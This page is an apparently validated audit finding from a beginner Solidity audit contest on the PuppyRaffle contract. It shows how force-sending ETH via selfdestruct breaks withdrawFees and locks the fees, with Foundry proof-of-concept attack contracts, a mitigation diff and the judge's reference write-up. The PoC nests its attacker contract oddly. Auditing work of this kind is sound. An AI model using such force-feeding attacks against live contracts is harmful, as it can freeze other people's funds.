Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Function -- withdrawFees Mishandling of ETH

y2017224144

Root + Impact： withdrawFees— Mishandling of ETH Balance Check Leading to Fee Lockup and DoS​

Description

  • The withdrawFeesfunction is designed to allow fee extraction only when no players are active in the raffle. It transfers accumulated fees to a designated fee address.

  • The vulnerability arises from an incorrect condition check that compares the contract's ETH balance against the stored totalFeesvalue. This allows an attacker to manipulate the contract's balance via selfdestruct, making it impossible to satisfy the equality check and permanently locking fees.

/// @notice 提取累计手续费
/// @dev 仅当无活跃玩家时可提取
function withdrawFees() external {
// @> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Risk

Likelihood:

  • Occurs when any external ETH enters the contract through non-standard means (e.g., selfdestruct, accidental transfers)

  • Exploitable by any attacker who can force-send ETH to the contract

Impact:

  • Permanent freezing of accumulated protocol fees

  • Complete loss of fee revenue for the protocol operators

  • Denial-of-service for fee withdrawal functionality

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test, console2} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
/// @title PuppyRaffle 漏洞测试合约
/// @notice 测试通过 selfdestruct 攻击导致 withdrawFees 函数失败的场景
contract PuppyRaffleTest is Test {
// ========== 状态变量 ==========
PuppyRaffle public puppyRaffle;
Attacker public attacker;
uint256 public entranceFee = 1e18; // 1 ETH
address public playerOne = address(1);
address public playerTwo = address(2);
address public playerThree = address(3);
address public playerFour = address(4);
address public feeAddress = address(99); // 费用接收地址
uint256 public duration = 1 days; // 抽奖持续时间
​
// ========== 设置函数 ==========
function setUp() public {
// 部署抽奖合约
puppyRaffle = new PuppyRaffle(
entranceFee,
feeAddress,
duration
);
// 部署攻击合约
attacker = new Attacker(puppyRaffle);
// 给攻击合约分配 5 ETH
vm.deal(address(attacker), 5 ether);
}
// ========== 修饰器：模拟玩家参与 ==========
modifier playersEntered() {
// 创建玩家数组
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
// 所有玩家参与抽奖
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
_;
}
​
// ========== 测试函数：验证攻击导致 withdrawFees 失败 ==========
function test_WithdrawFeesDos() public playersEntered {
// 推进时间到抽奖结束后
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
​
// 计算预期奖金金额（总存款的20%）
uint256 expectedPrizeAmount = ((entranceFee * 4) * 20) / 100;
​
// 选择赢家（应清空玩家数组）
puppyRaffle.selectWinner();
// 记录攻击前余额
uint256 beforeBalance = address(puppyRaffle).balance;
console2.log("攻击前余额:", beforeBalance);
console2.log("预期奖金:", expectedPrizeAmount);
console2.log("余额是否匹配预期:", beforeBalance == expectedPrizeAmount);
​
// 执行攻击：通过 selfdestruct 向合约发送 5 ETH
attacker.attack();
// 记录攻击后余额
uint256 afterBalance = address(puppyRaffle).balance;
console2.log("攻击后余额:", afterBalance);
console2.log("余额是否匹配预期:", afterBalance == expectedPrizeAmount);
​
// 关键：预期 withdrawFees() 会因玩家仍活跃而回滚
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}
​
/*//////////////////////////////////////////////////////////////
攻击合约
//////////////////////////////////////////////////////////////*/
contract Attacker {
PuppyRaffle public puppyraffle;
​
constructor(PuppyRaffle _puppyraffle) {
puppyraffle = _puppyraffle;
}
​
/// @notice 攻击函数：通过 selfdestruct 向目标合约发送所有 ETH
function attack() public {
// 修复 Solidity 0.7.6 的类型转换问题
selfdestruct(payable(address(puppyraffle)));
}
}
}
​

Recommended Mitigation

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(players.length == 0, "PuppyRaffle: Players are still active");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!